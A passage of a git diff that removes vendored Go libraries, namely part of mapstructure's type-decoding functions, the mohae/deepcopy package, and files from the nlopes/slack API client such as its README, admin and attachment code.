%s", name, err) - } - case dataType.PkgPath() == "encoding/json" && dataType.Name() == "Number": - jn := data.(json.Number) - i, err := jn.Int64() - if err != nil { - return fmt.Errorf( - "error decoding json.Number into %s: %s", name, err) - } - val.SetInt(i) - default: - return fmt.Errorf( - "'%s' expected type '%s', got unconvertible type '%s'", - name, val.Type(), dataVal.Type()) - } - - return nil -} - -func (d *Decoder) decodeUint(name string, data interface{}, val reflect.Value) error { - dataVal := reflect.ValueOf(data) - dataKind := getKind(dataVal) - - switch { - case dataKind == reflect.Int: - i := dataVal.Int() - if i < 0 && !d.config.WeaklyTypedInput { - return fmt.Errorf("cannot parse '%s', %d overflows uint", - name, i) - } - val.SetUint(uint64(i)) - case dataKind == reflect.Uint: - val.SetUint(dataVal.Uint()) - case dataKind == reflect.Float32: - f := dataVal.Float() - if f < 0 && !d.config.WeaklyTypedInput { - return fmt.Errorf("cannot parse '%s', %f overflows uint", - name, f) - } - val.SetUint(uint64(f)) - case dataKind == reflect.Bool && d.config.WeaklyTypedInput: - if dataVal.Bool() { - val.SetUint(1) - } else { - val.SetUint(0) - } - case dataKind == reflect.String && d.config.WeaklyTypedInput: - i, err := strconv.ParseUint(dataVal.String(), 0, val.Type().Bits()) - if err == nil { - val.SetUint(i) - } else { - return fmt.Errorf("cannot parse '%s' as uint: %s", name, err) - } - default: - return fmt.Errorf( - "'%s' expected type '%s', got unconvertible type '%s'", - name, val.Type(), dataVal.Type()) - } - - return nil -} - -func (d *Decoder) decodeBool(name string, data interface{}, val reflect.Value) error { - dataVal := reflect.ValueOf(data) - dataKind := getKind(dataVal) - - switch { - case dataKind == reflect.Bool: - val.SetBool(dataVal.Bool()) - case dataKind == reflect.Int && d.config.WeaklyTypedInput: - val.SetBool(dataVal.Int() != 0) - case dataKind == reflect.Uint && d.config.WeaklyTypedInput: - val.SetBool(dataVal.Uint() != 0) - case dataKind == reflect.Float32 && d.config.WeaklyTypedInput: - val.SetBool(dataVal.Float() != 0) - case dataKind == reflect.String && d.config.WeaklyTypedInput: - b, err := strconv.ParseBool(dataVal.String()) - if err == nil { - val.SetBool(b) - } else if dataVal.String() == "" { - val.SetBool(false) - } else { - return fmt.Errorf("cannot parse '%s' as bool: %s", name, err) - } - default: - return fmt.Errorf( - "'%s' expected type '%s', got unconvertible type '%s'", - name, val.Type(), dataVal.Type()) - } - - return nil -} - -func (d *Decoder) decodeFloat(name string, data interface{}, val reflect.Value) error { - dataVal := reflect.ValueOf(data) - dataKind := getKind(dataVal) - dataType := dataVal.Type() - - switch { - case dataKind == reflect.Int: - val.SetFloat(float64(dataVal.Int())) - case dataKind == reflect.Uint: - val.SetFloat(float64(dataVal.Uint())) - case dataKind == reflect.Float32: - val.SetFloat(dataVal.Float()) - case dataKind == reflect.Bool && d.config.WeaklyTypedInput: - if dataVal.Bool() { - val.SetFloat(1) - } else { - val.SetFloat(0) - } - case dataKind == reflect.String && d.config.WeaklyTypedInput: - f, err := strconv.ParseFloat(dataVal.String(), val.Type().Bits()) - if err == nil { - val.SetFloat(f) - } else { - return fmt.Errorf("cannot parse '%s' as float: %s", name, err) - } - case dataType.PkgPath() == "encoding/json" && dataType.Name() == "Number": - jn := data.(json.Number) - i, err := jn.Float64() - if err != nil { - return fmt.Errorf( - "error decoding json.Number into %s: %s", name, err) - } - val.SetFloat(i) - default: - return fmt.Errorf( - "'%s' expected type '%s', got unconvertible type '%s'", - name, val.Type(), dataVal.Type()) - } - - return nil -} - -func (d *Decoder) decodeMap(name string, data interface{}, val reflect.Value) error { - valType := val.Type() - valKeyType := valType.Key() - valElemType := valType.Elem() - - // By default we overwrite keys in the current map - valMap := val - - // If the map is nil or we're purposely zeroing fields, make a new map - if valMap.IsNil() || d.config.ZeroFields { - // Make a new map to hold our result - mapType := reflect.MapOf(valKeyType, valElemType) - valMap = reflect.MakeMap(mapType) - } - - // Check input type - dataVal := reflect.Indirect(reflect.ValueOf(data)) - if dataVal.Kind() != reflect.Map { - // In weak mode, we accept a slice of maps as an input... - if d.config.WeaklyTypedInput { - switch dataVal.Kind() { - case reflect.Array, reflect.Slice: - // Special case for BC reasons (covered by tests) - if dataVal.Len() == 0 { - val.Set(valMap) - return nil - } - - for i := 0; i < dataVal.Len(); i++ { - err := d.decode( - fmt.Sprintf("%s[%d]", name, i), - dataVal.Index(i).Interface(), val) - if err != nil { - return err - } - } - - return nil - } - } - - return fmt.Errorf("'%s' expected a map, got '%s'", name, dataVal.Kind()) - } - - // Accumulate errors - errors := make([]string, 0) - - for _, k := range dataVal.MapKeys() { - fieldName := fmt.Sprintf("%s[%s]", name, k) - - // First decode the key into the proper type - currentKey := reflect.Indirect(reflect.New(valKeyType)) - if err := d.decode(fieldName, k.Interface(), currentKey); err != nil { - errors = appendErrors(errors, err) - continue - } - - // Next decode the data into the proper type - v := dataVal.MapIndex(k).Interface() - currentVal := reflect.Indirect(reflect.New(valElemType)) - if err := d.decode(fieldName, v, currentVal); err != nil { - errors = appendErrors(errors, err) - continue - } - - valMap.SetMapIndex(currentKey, currentVal) - } - - // Set the built up map to the value - val.Set(valMap) - - // If we had errors, return those - if len(errors) > 0 { - return &Error{errors} - } - - return nil -} - -func (d *Decoder) decodePtr(name string, data interface{}, val reflect.Value) error { - // Create an element of the concrete (non pointer) type and decode - // into that. Then set the value of the pointer to this type. - valType := val.Type() - valElemType := valType.Elem() - - realVal := val - if realVal.IsNil() || d.config.ZeroFields { - realVal = reflect.New(valElemType) - } - - if err := d.decode(name, data, reflect.Indirect(realVal)); err != nil { - return err - } - - val.Set(realVal) - return nil -} - -func (d *Decoder) decodeFunc(name string, data interface{}, val reflect.Value) error { - // Create an element of the concrete (non pointer) type and decode - // into that. Then set the value of the pointer to this type. - dataVal := reflect.Indirect(reflect.ValueOf(data)) - if val.Type() != dataVal.Type() { - return fmt.Errorf( - "'%s' expected type '%s', got unconvertible type '%s'", - name, val.Type(), dataVal.Type()) - } - val.Set(dataVal) - return nil -} - -func (d *Decoder) decodeSlice(name string, data interface{}, val reflect.Value) error { - dataVal := reflect.Indirect(reflect.ValueOf(data)) - dataValKind := dataVal.Kind() - valType := val.Type() - valElemType := valType.Elem() - sliceType := reflect.SliceOf(valElemType) - - valSlice := val - if valSlice.IsNil() || d.config.ZeroFields { - // Check input type - if dataValKind != reflect.Array && dataValKind != reflect.Slice { - if d.config.WeaklyTypedInput { - switch { - // Empty maps turn into empty slices - case dataValKind == reflect.Map: - if dataVal.Len() == 0 { - val.Set(reflect.MakeSlice(sliceType, 0, 0)) - return nil - } - - // All other types we try to convert to the slice type - // and "lift" it into it. i.e. a string becomes a string slice. - default: - // Just re-try this function with data as a slice. - return d.decodeSlice(name, []interface{}{data}, val) - } - } - - return fmt.Errorf( - "'%s': source data must be an array or slice, got %s", name, dataValKind) - - } - - // Make a new slice to hold our result, same size as the original data. - valSlice = reflect.MakeSlice(sliceType, dataVal.Len(), dataVal.Len()) - } - - // Accumulate any errors - errors := make([]string, 0) - - for i := 0; i < dataVal.Len(); i++ { - currentData := dataVal.Index(i).Interface() - for valSlice.Len() <= i { - valSlice = reflect.Append(valSlice, reflect.Zero(valElemType)) - } - currentField := valSlice.Index(i) - - fieldName := fmt.Sprintf("%s[%d]", name, i) - if err := d.decode(fieldName, currentData, currentField); err != nil { - errors = appendErrors(errors, err) - } - } - - // Finally, set the value to the slice we built up - val.Set(valSlice) - - // If there were errors, we return those - if len(errors) > 0 { - return &Error{errors} - } - - return nil -} - -func (d *Decoder) decodeStruct(name string, data interface{}, val reflect.Value) error { - dataVal := reflect.Indirect(reflect.ValueOf(data)) - - // If the type of the value to write to and the data match directly, - // then we just set it directly instead of recursing into the structure. - if dataVal.Type() == val.Type() { - val.Set(dataVal) - return nil - } - - dataValKind := dataVal.Kind() - if dataValKind != reflect.Map { - return fmt.Errorf("'%s' expected a map, got '%s'", name, dataValKind) - } - - dataValType := dataVal.Type() - if kind := dataValType.Key().Kind(); kind != reflect.String && kind != reflect.Interface { - return fmt.Errorf( - "'%s' needs a map with string keys, has '%s' keys", - name, dataValType.Key().Kind()) - } - - dataValKeys := make(map[reflect.Value]struct{}) - dataValKeysUnused := make(map[interface{}]struct{}) - for _, dataValKey := range dataVal.MapKeys() { - dataValKeys[dataValKey] = struct{}{} - dataValKeysUnused[dataValKey.Interface()] = struct{}{} - } - - errors := make([]string, 0) - - // This slice will keep track of all the structs we'll be decoding. - // There can be more than one struct if there are embedded structs - // that are squashed. - structs := make([]reflect.Value, 1, 5) - structs[0] = val - - // Compile the list of all the fields that we're going to be decoding - // from all the structs. - fields := make(map[*reflect.StructField]reflect.Value) - for len(structs) > 0 { - structVal := structs[0] - structs = structs[1:] - - structType := structVal.Type() - - for i := 0; i < structType.NumField(); i++ { - fieldType := structType.Field(i) - fieldKind := fieldType.Type.Kind() - - // If "squash" is specified in the tag, we squash the field down. - squash := false - tagParts := strings.Split(fieldType.Tag.Get(d.config.TagName), ",") - for _, tag := range tagParts[1:] { - if tag == "squash" { - squash = true - break - } - } - - if squash { - if fieldKind != reflect.Struct { - errors = appendErrors(errors, - fmt.Errorf("%s: unsupported type for squash: %s", fieldType.Name, fieldKind)) - } else { - structs = append(structs, val.FieldByName(fieldType.Name)) - } - continue - } - - // Normal struct field, store it away - fields[&fieldType] = structVal.Field(i) - } - } - - for fieldType, field := range fields { - fieldName := fieldType.Name - - tagValue := fieldType.Tag.Get(d.config.TagName) - tagValue = strings.SplitN(tagValue, ",", 2)[0] - if tagValue != "" { - fieldName = tagValue - } - - rawMapKey := reflect.ValueOf(fieldName) - rawMapVal := dataVal.MapIndex(rawMapKey) - if !rawMapVal.IsValid() { - // Do a slower search by iterating over each key and - // doing case-insensitive search. - for dataValKey := range dataValKeys { - mK, ok := dataValKey.Interface().(string) - if !ok { - // Not a string key - continue - } - - if strings.EqualFold(mK, fieldName) { - rawMapKey = dataValKey - rawMapVal = dataVal.MapIndex(dataValKey) - break - } - } - - if !rawMapVal.IsValid() { - // There was no matching key in the map for the value in - // the struct. Just ignore. - continue - } - } - - // Delete the key we're using from the unused map so we stop tracking - delete(dataValKeysUnused, rawMapKey.Interface()) - - if !field.IsValid() { - // This should never happen - panic("field is not valid") - } - - // If we can't set the field, then it is unexported or something, - // and we just continue onwards. - if !field.CanSet() { - continue - } - - // If the name is empty string, then we're at the root, and we - // don't dot-join the fields. - if name != "" { - fieldName = fmt.Sprintf("%s.%s", name, fieldName) - } - - if err := d.decode(fieldName, rawMapVal.Interface(), field); err != nil { - errors = appendErrors(errors, err) - } - } - - if d.config.ErrorUnused && len(dataValKeysUnused) > 0 { - keys := make([]string, 0, len(dataValKeysUnused)) - for rawKey := range dataValKeysUnused { - keys = append(keys, rawKey.(string)) - } - sort.Strings(keys) - - err := fmt.Errorf("'%s' has invalid keys: %s", name, strings.Join(keys, ", ")) - errors = appendErrors(errors, err) - } - - if len(errors) > 0 { - return &Error{errors} - } - - // Add the unused keys to the list of unused keys if we're tracking metadata - if d.config.Metadata != nil { - for rawKey := range dataValKeysUnused { - key := rawKey.(string) - if name != "" { - key = fmt.Sprintf("%s.%s", name, key) - } - - d.config.Metadata.Unused = append(d.config.Metadata.Unused, key) - } - } - - return nil -} - -func getKind(val reflect.Value) reflect.Kind { - kind := val.Kind() - - switch { - case kind >= reflect.Int && kind <= reflect.Int64: - return reflect.Int - case kind >= reflect.Uint && kind <= reflect.Uint64: - return reflect.Uint - case kind >= reflect.Float32 && kind <= reflect.Float64: - return reflect.Float32 - default: - return kind - } -} diff --git a/vendor/github.com/mohae/deepcopy/.gitignore b/vendor/github.com/mohae/deepcopy/.gitignore deleted file mode 100644 index 5846dd1531..0000000000 --- a/vendor/github.com/mohae/deepcopy/.gitignore +++ /dev/null @@ -1,26 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*~ -*.out -*.log diff --git a/vendor/github.com/mohae/deepcopy/.travis.yml b/vendor/github.com/mohae/deepcopy/.travis.yml deleted file mode 100644 index fd47a8cf78..0000000000 --- a/vendor/github.com/mohae/deepcopy/.travis.yml +++ /dev/null @@ -1,11 +0,0 @@ -language: go - -go: - - tip - -matrix: - allow_failures: - - go: tip - -script: - - go test ./... diff --git a/vendor/github.com/mohae/deepcopy/LICENSE b/vendor/github.com/mohae/deepcopy/LICENSE deleted file mode 100644 index 419673f005..0000000000 --- a/vendor/github.com/mohae/deepcopy/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Joel - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/mohae/deepcopy/README.md b/vendor/github.com/mohae/deepcopy/README.md deleted file mode 100644 index f81841885b..0000000000 --- a/vendor/github.com/mohae/deepcopy/README.md +++ /dev/null @@ -1,8 +0,0 @@ -deepCopy -======== -[![GoDoc](https://godoc.org/github.com/mohae/deepcopy?status.svg)](https://godoc.org/github.com/mohae/deepcopy)[![Build Status](https://travis-ci.org/mohae/deepcopy.png)](https://travis-ci.org/mohae/deepcopy) - -DeepCopy makes deep copies of things: unexported field values are not copied. - -## Usage - cpy := deepcopy.Copy(orig) diff --git a/vendor/github.com/mohae/deepcopy/deepcopy.go b/vendor/github.com/mohae/deepcopy/deepcopy.go deleted file mode 100644 index 3445a4d3a5..0000000000 --- a/vendor/github.com/mohae/deepcopy/deepcopy.go +++ /dev/null @@ -1,112 +0,0 @@ -// deepcopy makes deep copies of things. A standard copy will copy the -// pointers: deep copy copies the values pointed to. Unexported field -// values are not copied. -// -// Copyright (c)2014-2016, Joel Scoble (github.com/mohae), all rights reserved. -// License: MIT, for more details check the included LICENSE file. -package deepcopy - -import ( - "reflect" - "time" -) - -// Iface is an alias to Copy; this exists for backwards compatibility reasons. -func Iface(iface interface{}) interface{} { - return Copy(iface) -} - -// Copy creates a deep copy of whatever is passed to it and returns the copy -// in an interface{}. The returned value will need to be asserted to the -// correct type. -func Copy(src interface{}) interface{} { - if src == nil { - return nil - } - - // Make the interface a reflect.Value - original := reflect.ValueOf(src) - - // Make a copy of the same type as the original. - cpy := reflect.New(original.Type()).Elem() - - // Recursively copy the original. - copyRecursive(original, cpy) - - // Return the copy as an interface. - return cpy.Interface() -} - -// copyRecursive does the actual copying of the interface. It currently has -// limited support for what it can handle. Add as needed. -func copyRecursive(original, cpy reflect.Value) { - // handle according to original's Kind - switch original.Kind() { - case reflect.Ptr: - // Get the actual value being pointed to. - originalValue := original.Elem() - - // if it isn't valid, return. - if !originalValue.IsValid() { - return - } - cpy.Set(reflect.New(originalValue.Type())) - copyRecursive(originalValue, cpy.Elem()) - - case reflect.Interface: - // If this is a nil, don't do anything - if original.IsNil() { - return - } - // Get the value for the interface, not the pointer. - originalValue := original.Elem() - - // Get the value by calling Elem(). - copyValue := reflect.New(originalValue.Type()).Elem() - copyRecursive(originalValue, copyValue) - cpy.Set(copyValue) - - case reflect.Struct: - t, ok := original.Interface().(time.Time) - if ok { - cpy.Set(reflect.ValueOf(t)) - return - } - // Go through each field of the struct and copy it. - for i := 0; i < original.NumField(); i++ { - // The Type's StructField for a given field is checked to see if StructField.PkgPath - // is set to determine if the field is exported or not because CanSet() returns false - // for settable fields. I'm not sure why. -mohae - if original.Type().Field(i).PkgPath != "" { - continue - } - copyRecursive(original.Field(i), cpy.Field(i)) - } - - case reflect.Slice: - if original.IsNil() { - return - } - // Make a new slice and copy each element. - cpy.Set(reflect.MakeSlice(original.Type(), original.Len(), original.Cap())) - for i := 0; i < original.Len(); i++ { - copyRecursive(original.Index(i), cpy.Index(i)) - } - - case reflect.Map: - if original.IsNil() { - return - } - cpy.Set(reflect.MakeMap(original.Type())) - for _, key := range original.MapKeys() { - originalValue := original.MapIndex(key) - copyValue := reflect.New(originalValue.Type()).Elem() - copyRecursive(originalValue, copyValue) - copyKey := Copy(key.Interface()) - cpy.SetMapIndex(reflect.ValueOf(copyKey), copyValue) - } - - default: - cpy.Set(original) - } -} diff --git a/vendor/github.com/nlopes/slack/.gitignore b/vendor/github.com/nlopes/slack/.gitignore deleted file mode 100644 index dd2440d558..0000000000 --- a/vendor/github.com/nlopes/slack/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -*.test -*~ diff --git a/vendor/github.com/nlopes/slack/.travis.yml b/vendor/github.com/nlopes/slack/.travis.yml deleted file mode 100644 index 4089c6fadf..0000000000 --- a/vendor/github.com/nlopes/slack/.travis.yml +++ /dev/null @@ -1,24 +0,0 @@ -language: go - -go: - - 1.4 - - 1.5 - - 1.6 - - 1.7 - - 1.8 - - 1.x - - tip - -before_install: - - export PATH=$HOME/gopath/bin:$PATH - -script: - - go test -race ./... - - go test -cover ./... - -matrix: - allow_failures: - - go: tip - -git: - depth: 10 diff --git a/vendor/github.com/nlopes/slack/CHANGELOG.md b/vendor/github.com/nlopes/slack/CHANGELOG.md deleted file mode 100644 index 8c4772dac1..0000000000 --- a/vendor/github.com/nlopes/slack/CHANGELOG.md +++ /dev/null @@ -1,12 +0,0 @@ -### v0.1.0 - May 28, 2017 - -This is released before adding context support. -As the used context package is the one from Go 1.7 this will be the last -compatible with Go < 1.7. - -Please check [0.1.0](https://github.com/nlopes/slack/releases/tag/v0.1.0) - -### v0.0.1 - Jul 26, 2015 - -If you just updated from master and it broke your implementation, please -check [0.0.1](https://github.com/nlopes/slack/releases/tag/v0.0.1) diff --git a/vendor/github.com/nlopes/slack/LICENSE b/vendor/github.com/nlopes/slack/LICENSE deleted file mode 100644 index 5145171f1d..0000000000 --- a/vendor/github.com/nlopes/slack/LICENSE +++ /dev/null @@ -1,23 +0,0 @@ -Copyright (c) 2015, Norberto Lopes -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this -list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, -this list of conditions and the following disclaimer in the documentation and/or -other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/nlopes/slack/README.md b/vendor/github.com/nlopes/slack/README.md deleted file mode 100644 index 5efc3203e8..0000000000 --- a/vendor/github.com/nlopes/slack/README.md +++ /dev/null @@ -1,87 +0,0 @@ -Slack API in Go [![GoDoc](https://godoc.org/github.com/nlopes/slack?status.svg)](https://godoc.org/github.com/nlopes/slack) [![Build Status](https://travis-ci.org/nlopes/slack.svg)](https://travis-ci.org/nlopes/slack) -=============== - -This library supports most if not all of the `api.slack.com` REST -calls, as well as the Real-Time Messaging protocol over websocket, in -a fully managed way. - -## Change log - -### v0.1.0 - May 28, 2017 - -This is released before adding context support. -As the used context package is the one from Go 1.7 this will be the last -compatible with Go < 1.7. - -Please check [0.1.0](https://github.com/nlopes/slack/releases/tag/v0.1.0) - -### CHANGELOG.md - -As of this version a [CHANGELOG.md](https://github.com/nlopes/slack/blob/master/README.md) is available. Please visit it for updates. - -## Installing - -### *go get* - - $ go get -u github.com/nlopes/slack - -## Example - -### Getting all groups - -```golang -import ( - "fmt" - - "github.com/nlopes/slack" -) - -func main() { - api := slack.New("YOUR_TOKEN_HERE") - // If you set debugging, it will log all requests to the console - // Useful when encountering issues - // api.SetDebug(true) - groups, err := api.GetGroups(false) - if err != nil { - fmt.Printf("%s\n", err) - return - } - for _, group := range groups { - fmt.Printf("ID: %s, Name: %s\n", group.ID, group.Name) - } -} -``` - -### Getting User Information - -```golang -import ( - "fmt" - - "github.com/nlopes/slack" -) - -func main() { - api := slack.New("YOUR_TOKEN_HERE") - user, err := api.GetUserInfo("U023BECGF") - if err != nil { - fmt.Printf("%s\n", err) - return - } - fmt.Printf("ID: %s, Fullname: %s, Email: %s\n", user.ID, user.Profile.RealName, user.Profile.Email) -} -``` - -## Minimal RTM usage: - -See https://github.com/nlopes/slack/blob/master/examples/websocket/websocket.go - - -## Contributing - -You are more than welcome to contribute to this project. Fork and -make a Pull Request, or create an Issue if you see any problem. - -## License - -BSD 2 Clause license diff --git a/vendor/github.com/nlopes/slack/TODO.txt b/vendor/github.com/nlopes/slack/TODO.txt deleted file mode 100644 index 8607960b86..0000000000 --- a/vendor/github.com/nlopes/slack/TODO.txt +++ /dev/null @@ -1,3 +0,0 @@ -- Add more tests!!! -- Add support to have markdown hints - - See section Message Formatting at https://api.slack.com/docs/formatting diff --git a/vendor/github.com/nlopes/slack/admin.go b/vendor/github.com/nlopes/slack/admin.go deleted file mode 100644 index 393b288024..0000000000 --- a/vendor/github.com/nlopes/slack/admin.go +++ /dev/null @@ -1,190 +0,0 @@ -package slack - -import ( - "errors" - "fmt" - "net/url" -) - -type adminResponse struct { - OK bool `json:"ok"` - Error string `json:"error"` -} - -func adminRequest(method string, teamName string, values url.Values, debug bool) (*adminResponse, error) { - adminResponse := &adminResponse{} - err := parseAdminResponse(method, teamName, values, adminResponse, debug) - if err != nil { - return nil, err - } - - if !adminResponse.OK { - return nil, errors.New(adminResponse.Error) - } - - return adminResponse, nil -} - -// DisableUser disabled a user account, given a user ID -func (api *Client) DisableUser(teamName string, uid string) error { - values := url.Values{ - "user": {uid}, - "token": {api.config.token}, - "set_active": {"true"}, - "_attempts": {"1"}, - } - - _, err := adminRequest("setInactive", teamName, values, api.debug) - if err != nil { - return fmt.Errorf("Failed to disable user with id '%s': %s", uid, err) - } - - return nil -} - -// InviteGuest invites a user to Slack as a single-channel guest -func (api *Client) InviteGuest( - teamName string, - channel string, - firstName string, - lastName string, - emailAddress string, -) error { - values := url.Values{ - "email": {emailAddress}, - "channels": {channel}, - "first_name": {firstName}, - "last_name": {lastName}, - "ultra_restricted": {"1"}, - "token": {api.config.token}, - "set_active": {"true"}, - "_attempts": {"1"}, - } - - _, err := adminRequest("invite", teamName, values, api.debug) - if err != nil { - return fmt.Errorf("Failed to invite single-channel guest: %s", err) - } - - return nil -} - -// InviteRestricted invites a user to Slack as a restricted account -func (api *Client) InviteRestricted( - teamName string, - channel string, - firstName string, - lastName string, - emailAddress string, -) error { - values := url.Values{ - "email": {emailAddress}, - "channels": {channel}, - "first_name": {firstName}, - "last_name": {lastName}, - "restricted": {"1"}, - "token": {api.config.token}, - "set_active": {"true"}, - "_attempts": {"1"}, - } - - _, err := adminRequest("invite", teamName, values, api.debug) - if err != nil { - return fmt.Errorf("Failed to restricted account: %s", err) - } - - return nil -} - -// InviteToTeam invites a user to a Slack team -func (api *Client) InviteToTeam( - teamName string, - firstName string, - lastName string, - emailAddress string, -) error { - values := url.Values{ - "email": {emailAddress}, - "first_name": {firstName}, - "last_name": {lastName}, - "token": {api.config.token}, - "set_active": {"true"}, - "_attempts": {"1"}, - } - - _, err := adminRequest("invite", teamName, values, api.debug) - if err != nil { - return fmt.Errorf("Failed to invite to team: %s", err) - } - - return nil -} - -// SetRegular enables the specified user -func (api *Client) SetRegular(teamName string, user string) error { - values := url.Values{ - "user": {user}, - "token": {api.config.token}, - "set_active": {"true"}, - "_attempts": {"1"}, - } - - _, err := adminRequest("setRegular", teamName, values, api.debug) - if err != nil { - return fmt.Errorf("Failed to change the user (%s) to a regular user: %s", user, err) - } - - return nil -} - -// SendSSOBindingEmail sends an SSO binding email to the specified user -func (api *Client) SendSSOBindingEmail(teamName string, user string) error { - values := url.Values{ - "user": {user}, - "token": {api.config.token}, - "set_active": {"true"}, - "_attempts": {"1"}, - } - - _, err := adminRequest("sendSSOBind", teamName, values, api.debug) - if err != nil { - return fmt.Errorf("Failed to send SSO binding email for user (%s): %s", user, err) - } - - return nil -} - -// SetUltraRestricted converts a user into a single-channel guest -func (api *Client) SetUltraRestricted(teamName, uid, channel string) error { - values := url.Values{ - "user": {uid}, - "channel": {channel}, - "token": {api.config.token}, - "set_active": {"true"}, - "_attempts": {"1"}, - } - - _, err := adminRequest("setUltraRestricted", teamName, values, api.debug) - if err != nil { - return fmt.Errorf("Failed to ultra-restrict account: %s", err) - } - - return nil -} - -// SetRestricted converts a user into a restricted account -func (api *Client) SetRestricted(teamName, uid string) error { - values := url.Values{ - "user": {uid}, - "token": {api.config.token}, - "set_active": {"true"}, - "_attempts": {"1"}, - } - - _, err := adminRequest("setRestricted", teamName, values, api.debug) - if err != nil { - return fmt.Errorf("Failed to restrict account: %s", err) - } - - return nil -} diff --git a/vendor/github.com/nlopes/slack/attachments.go b/vendor/github.com/nlopes/slack/attachments.go deleted file mode 100644 index c5a66d9612..0000000000 --- a/vendor/github.com/nlopes/slack/attachments.go +++ /dev/null @@ -1,96 +0,0 @@ -package slack - -import "encoding/json" - -// AttachmentField contains information for an attachment field -// An Attachment can contain multiple of these -type AttachmentField struct { - Title string `json:"title"` - Value string `json:"value"` - Short bool `json:"short"` -} - -// AttachmentAction is a button or menu to be included in the attachment. Required when -// using message buttons or menus and otherwise not useful. A maximum of 5 actions may be -// provided per attachment. -type AttachmentAction struct { - Name string `json:"name"` // Required. - Text string `json:"text"` // Required. - Style string `json:"style,omitempty"` // Optional. Allowed values: "default", "primary", "danger". - Type string `json:"type"` // Required. Must be set to "button" or "select". - Value string `json:"value,omitempty"` // Optional. - DataSource string `json:"data_source,omitempty"` // Optional. - MinQueryLength int `json:"min_query_length,omitempty"` // Optional. Default value is 1. - Options []AttachmentActionOption `json:"options,omitempty"` // Optional. Maximum of 100 options can be provided in each menu. - SelectedOptions []AttachmentActionOption `json:"selected_options,omitempty"` // Optional. The first element of this array will be set as the pre-selected option for this menu. - OptionGroups []AttachmentActionOptionGroup `json:"option_groups,omitempty"` // Optional. - Confirm *ConfirmationField `json:"confirm,omitempty"` // Optional. -} - -// AttachmentActionOption the individual option to appear in action menu. -type AttachmentActionOption struct { - Text string `json:"text"` // Required. - Value string `json:"value"` // Required. - Description string `json:"description,omitempty"` // Optional. Up to 30 characters. -} - -// AttachmentActionOptionGroup is a semi-hierarchal way to list available options to appear in action menu. -type AttachmentActionOptionGroup struct { - Text string `json:"text"` // Required. - Options []AttachmentActionOption `json:"options"` // Required. -} - -// AttachmentActionCallback is sent from Slack when a user clicks a button in an interactive message (aka AttachmentAction) -type AttachmentActionCallback struct { - Actions []AttachmentAction `json:"actions"` - CallbackID string `json:"callback_id"` - Team Team `json:"team"` - Channel Channel `json:"channel"` - User User `json:"user"` - - OriginalMessage Message `json:"original_message"` - - ActionTs string `json:"action_ts"` - MessageTs string `json:"message_ts"` - AttachmentID string `json:"attachment_id"` - Token string `json:"token"` - ResponseURL string `json:"response_url"` -} - -// ConfirmationField are used to ask users to confirm actions -type ConfirmationField struct { - Title string `json:"title,omitempty"` // Optional. - Text string `json:"text"` // Required. - OkText string `json:"ok_text,omitempty"` // Optional. Defaults to "Okay" - DismissText string `json:"dismiss_text,omitempty"` // Optional. Defaults to "Cancel" -} - -// Attachment contains all the information for an attachment -type Attachment struct { - Color string `json:"color,omitempty"` - Fallback string `json:"fallback"` - - CallbackID string `json:"callback_id,omitempty"` - - AuthorName string `json:"author_name,omitempty"` - AuthorSubname string `json:"author_subname,omitempty"` - AuthorLink string `json:"author_link,omitempty"` - AuthorIcon string `json:"author_icon,omitempty"` - - Title string `json:"title,omitempty"` - TitleLink string `json:"title_link,omitempty"` - Pretext string `json:"pretext,omitempty"` - Text string `json:"text"` - - ImageURL string `json:"image_url,omitempty"` - ThumbURL string `json:"thumb_url,omitempty"` - - Fields []AttachmentField `json:"fields,omitempty"` - Actions []AttachmentAction `json:"actions,omitempty"` - MarkdownIn []string `json:"mrkdwn_in,omitempty"` - - Footer string `json:"footer,omitempty"` - FooterIcon string `json:"footer_icon,omitempty"` - - Ts json.Number `json:"ts,omitempty"` -} diff --git a/vendor/github.com/nlopes/slack/backoff.go 